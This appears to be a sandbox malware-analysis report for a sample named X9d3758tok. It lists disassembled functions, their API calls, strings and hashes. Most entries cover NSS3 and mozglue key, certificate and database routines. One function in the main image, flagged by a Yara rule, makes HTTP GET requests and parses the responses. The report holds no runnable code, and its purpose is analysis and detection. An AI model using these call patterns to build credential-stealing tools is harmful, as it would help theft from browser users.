Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

Strings

#?tl, xrefs: 6C742C43

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?tl
API String ID: 2446853827-3013864672
Opcode ID: cc1d6639814e62f08f20d2ee6940af7b7fae39d1540f8127d4d36b19fe90a34f
Instruction ID: 5fefb0d03644cde2874a9f93314bb4bdef05bc64104887e362cae2214b069b5b
Opcode Fuzzy Hash: cc1d6639814e62f08f20d2ee6940af7b7fae39d1540f8127d4d36b19fe90a34f
Instruction Fuzzy Hash: 4951C1B6D00215ABDB119F24DD4D9AAB768AF1925CB088530EC18D7B12FB31ED64CBE1

Function 6C79AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C79ADB1

Part of subcall function 6C77BE30: SECOID_FindOID_Util.NSS3(6C73311B,00000000,?,6C73311B,?), ref: 6C77BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C79ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C79AE08

Part of subcall function 6C77B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8518D0,?), ref: 6C77B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C79AE25
PL_FreeArenaPool.NSS3 ref: 6C79AE63
PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C79AE4D

Part of subcall function 6C6A4C70: TlsGetValue.KERNEL32(?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4C97
Part of subcall function 6C6A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CB0
Part of subcall function 6C6A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C79AE93
PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C79AECC
PL_FreeArenaPool.NSS3 ref: 6C79AEDE
PL_FinishArenaPool.NSS3 ref: 6C79AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C79AEF5
PL_FinishArenaPool.NSS3 ref: 6C79AF16

Strings

security, xrefs: 6C79ADEE

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 61aed700436e883a26827c29061bc29115a16fe2a799374b4077cf0be46ae38b
Instruction ID: 0b4f47ea6e2c9d240a8bfaacd766bd826699c599ad2b5d3e5557e579064ecd8e
Opcode Fuzzy Hash: 61aed700436e883a26827c29061bc29115a16fe2a799374b4077cf0be46ae38b
Instruction Fuzzy Hash: F9414AB2D0631467E7215A14BE4EBAA32ACAF5272CF100535E91592F41FB39D608C6D3

Function 6C7B5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C7B2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C7B2A28,00000060,00000001), ref: 6C7B2BF0
Part of subcall function 6C7B2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C7B2A28,00000060,00000001), ref: 6C7B2C07
Part of subcall function 6C7B2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C7B2A28,00000060,00000001), ref: 6C7B2C1E
Part of subcall function 6C7B2BE0: free.MOZGLUE(?,00000000,00000000,?,6C7B2A28,00000060,00000001), ref: 6C7B2C4A

free.MOZGLUE(?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5D0F
free.MOZGLUE(?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5D4E
free.MOZGLUE(?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5D62
free.MOZGLUE(?,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5D85
free.MOZGLUE(?,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5D99
free.MOZGLUE(?,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C7B5E3E
free.MOZGLUE(?,?,?,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C7B5E47
free.MOZGLUE(?,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C7B5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7B5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7B5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7B5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7B5F4B

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: ca93ef751aa8ba61d1a8c6707db42091bb971846635d91d0ccc8d9e34a4192fd
Instruction ID: 33775ecc00c8aed379e78e2f1391f0930135dd0f9c20e2fc27cac41ef0c43e9b
Opcode Fuzzy Hash: ca93ef751aa8ba61d1a8c6707db42091bb971846635d91d0ccc8d9e34a4192fd
Instruction Fuzzy Hash: 3171C1B4A00B019FDB51CF24E989A96B7B5FF89308F148638E81E97712E731F915CB91

Function 6C738DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C738E22
EnterCriticalSection.KERNEL32(?), ref: 6C738E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C738E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C738E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C738E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C738EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C738EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C738EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C738F00
free.MOZGLUE(?), ref: 6C738F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C738F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C738F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C738F5B
PR_Unlock.NSS3(?), ref: 6C738F72
PR_Unlock.NSS3(?), ref: 6C738F82

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: c30f9f92be374c3f812e32c1f0927b4b6da000da690e71a67f2bb693128ad36d
Instruction ID: c8551e74000d7000b99728d4dd56ee3bd0214249a998365667fe40ad9a66a9ef
Opcode Fuzzy Hash: c30f9f92be374c3f812e32c1f0927b4b6da000da690e71a67f2bb693128ad36d
Instruction Fuzzy Hash: 195126B2D002259FDB218E68CD889AEB779EF45358F15553AE80CDB742E731ED0487E1

Function 6C6ADC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6ADD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C6ADD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6ADE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C6ADEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6ADECD

Strings

%s at line %d of [%.10s], xrefs: 6C6ADF7C, 6C6ADFEC
database corruption, xrefs: 6C6ADF77, 6C6ADFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6ADF6D, 6C6ADFCC, 6C6ADFDD

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: c686fe64d6dbf782fe78a526446cfbe502b48cf6a42182bfc21018ced1a718f0
Instruction ID: 056a296362512e779cbb64b72763c42dc9eb522aa8ff8dfdc0c5ef9f65125fa3
Opcode Fuzzy Hash: c686fe64d6dbf782fe78a526446cfbe502b48cf6a42182bfc21018ced1a718f0
Instruction Fuzzy Hash: 66A1C3716042119BC710DFA9C880AABB7F5AF85308F15892DEC898BB51E770EC56CBA5

Function 6C76EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C76EE0B

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76EEE1

Part of subcall function 6C761D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C761D7E
Part of subcall function 6C761D50: EnterCriticalSection.KERNEL32(?), ref: 6C761D8E
Part of subcall function 6C761D50: PR_Unlock.NSS3(?), ref: 6C761DD3

TlsGetValue.KERNEL32 ref: 6C76EE51
EnterCriticalSection.KERNEL32(?), ref: 6C76EE65
PR_Unlock.NSS3(?), ref: 6C76EEA2
free.MOZGLUE(?), ref: 6C76EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C76EED0
PR_Unlock.NSS3(?), ref: 6C76EF48
free.MOZGLUE(?), ref: 6C76EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C76EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C76EFA4
free.MOZGLUE(?), ref: 6C76EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C76F055
free.MOZGLUE(?), ref: 6C76F060

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 0dabf1595108ae2f81a1e550cd602ae4a3086d669116da9ebb7f5634db52cad2
Instruction ID: eac8a286e6990e4fb325f6d3a8796926fc8f1939cedc310a7b7f8f6cf17eaeab
Opcode Fuzzy Hash: 0dabf1595108ae2f81a1e550cd602ae4a3086d669116da9ebb7f5634db52cad2
Instruction Fuzzy Hash: FF8161B1A002099BEF01DF65DD49ADE7BB9BF49318F184034ED09A3A11E731E924CBE1

Function 6C734CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C734D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C734D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C734DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C734E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C734E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C734E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C734E85
DER_Encode_Util.NSS3(?,?,6C8805A4,00000000), ref: 6C734EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C734F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C734F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C734F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C734F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C734F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C734FC8

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 51d550856e01f1d3a11e3c847f80c3ce7323e948acf39b0c08844c344b979788
Instruction ID: 2ee1d5e6f1fd710d095d1ead8d78ab9ec14ddf18e21be404c0aff74608d7b449
Opcode Fuzzy Hash: 51d550856e01f1d3a11e3c847f80c3ce7323e948acf39b0c08844c344b979788
Instruction Fuzzy Hash: 4581C3719043129FE715CF24DE44B5ABBE8AB84318F189539F95CDB642E732EA04CB92

Function 6C775C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C775C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C775CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C775CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C775D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C775D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C775D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C775E18
TlsGetValue.KERNEL32 ref: 6C775E5E
EnterCriticalSection.KERNEL32(?), ref: 6C775E72
PR_Unlock.NSS3(?), ref: 6C775E8B

Part of subcall function 6C76F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C76F854
Part of subcall function 6C76F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C76F868
Part of subcall function 6C76F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C76F882
Part of subcall function 6C76F820: free.MOZGLUE(04C483FF,?,?), ref: 6C76F889
Part of subcall function 6C76F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C76F8A4
Part of subcall function 6C76F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C76F8AB
Part of subcall function 6C76F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C76F8C9
Part of subcall function 6C76F820: free.MOZGLUE(280F10EC,?,?), ref: 6C76F8D0

Strings

d, xrefs: 6C775C36
tokens=[0x%x=<%s>], xrefs: 6C775D3D

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: ab12087e6726b05102ceae68c13feaebf0dd04ad64586cca63589b68f2ffcec3
Instruction ID: c4a599e639200207bfc84f58afedb24201df9fce7d7c460b1228cb4b15cbee5e
Opcode Fuzzy Hash: ab12087e6726b05102ceae68c13feaebf0dd04ad64586cca63589b68f2ffcec3
Instruction Fuzzy Hash: CD71F6F0A051099BEF619F25EF4976E3279AF4131CF140035D8199AB42EB72E915C7F2

Function 00415510 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,00862828), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,008620D0,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415568
lstrlenA.KERNEL32(00000000), ref: 0041557F

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,00000000), ref: 004155B4
lstrlenA.KERNEL32(00000000), ref: 004155D3
strtok.MSVCRT(00000000,?), ref: 004155EE
lstrlenA.KERNEL32(00000000), ref: 004155FE

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

ERROR, xrefs: 0041555A
lXA, xrefs: 0041570E, 004156D4, 00415697, 0041565A, 0041561E
ERROR, xrefs: 00415682
ERROR, xrefs: 004156BF
ERROR, xrefs: 004156F9
ERROR, xrefs: 00415609

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$lXA
API String ID: 3532888709-2643084821
Opcode ID: 7d0e704c8274934bc83e00dd7add74e71fd461374d3639c644432f9ec1b66709
Instruction ID: 990a636b304bf614e487c778196146b6daa8d27d3f5f6fae7c13381180e093e6
Opcode Fuzzy Hash: 7d0e704c8274934bc83e00dd7add74e71fd461374d3639c644432f9ec1b66709
Instruction Fuzzy Hash: B7518030A11148EBCB14FF61DDA6AED7339AF10354F50442EF50A671A1EF386B94CB5A

Function 6C766C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C76781D,00000000,6C75BE2C,?,6C766B1D,?,?,?,?,00000000,00000000,6C76781D), ref: 6C766C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C76781D,?,6C75BE2C,?), ref: 6C766C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C76781D), ref: 6C766C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C766C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C766C96

Part of subcall function 6C711240: TlsGetValue.KERNEL32(00000040,?,6C71116C,NSPR_LOG_MODULES), ref: 6C711267
Part of subcall function 6C711240: EnterCriticalSection.KERNEL32(?,?,?,6C71116C,NSPR_LOG_MODULES), ref: 6C71127C
Part of subcall function 6C711240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C71116C,NSPR_LOG_MODULES), ref: 6C711291
Part of subcall function 6C711240: PR_Unlock.NSS3(?,?,?,?,6C71116C,NSPR_LOG_MODULES), ref: 6C7112A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C766CAA

Strings

sql:, xrefs: 6C766C52
NSS_DEFAULT_DB_TYPE, xrefs: 6C766C91
dbm:, xrefs: 6C766C3A
dbm, xrefs: 6C766CA4
extern:, xrefs: 6C766C7E
rdb:, xrefs: 6C766C69

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
